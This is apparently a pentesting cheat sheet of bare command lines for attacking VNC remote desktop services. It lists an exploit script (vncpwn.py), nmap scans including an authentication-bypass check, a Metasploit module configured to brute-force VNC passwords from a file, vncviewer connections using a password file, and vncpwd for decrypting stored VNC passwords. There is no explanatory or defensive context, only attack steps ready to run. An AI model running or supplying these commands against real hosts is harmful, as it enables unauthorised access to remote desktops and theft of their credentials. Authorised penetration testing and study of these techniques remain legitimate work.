1 python vncpwn.py

1 nmap -p 5901 --script vnc-info target
2 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p port target

1 vncviewer target:5901

1 use auxiliary/scanner/vnc/vnc_login
2 set rhosts target
3 set rport 5901
4 set pass_file pass.txt
5 run

1 vncviewer [-passwd passwd.txt] target::5901

1 vncpwd _file_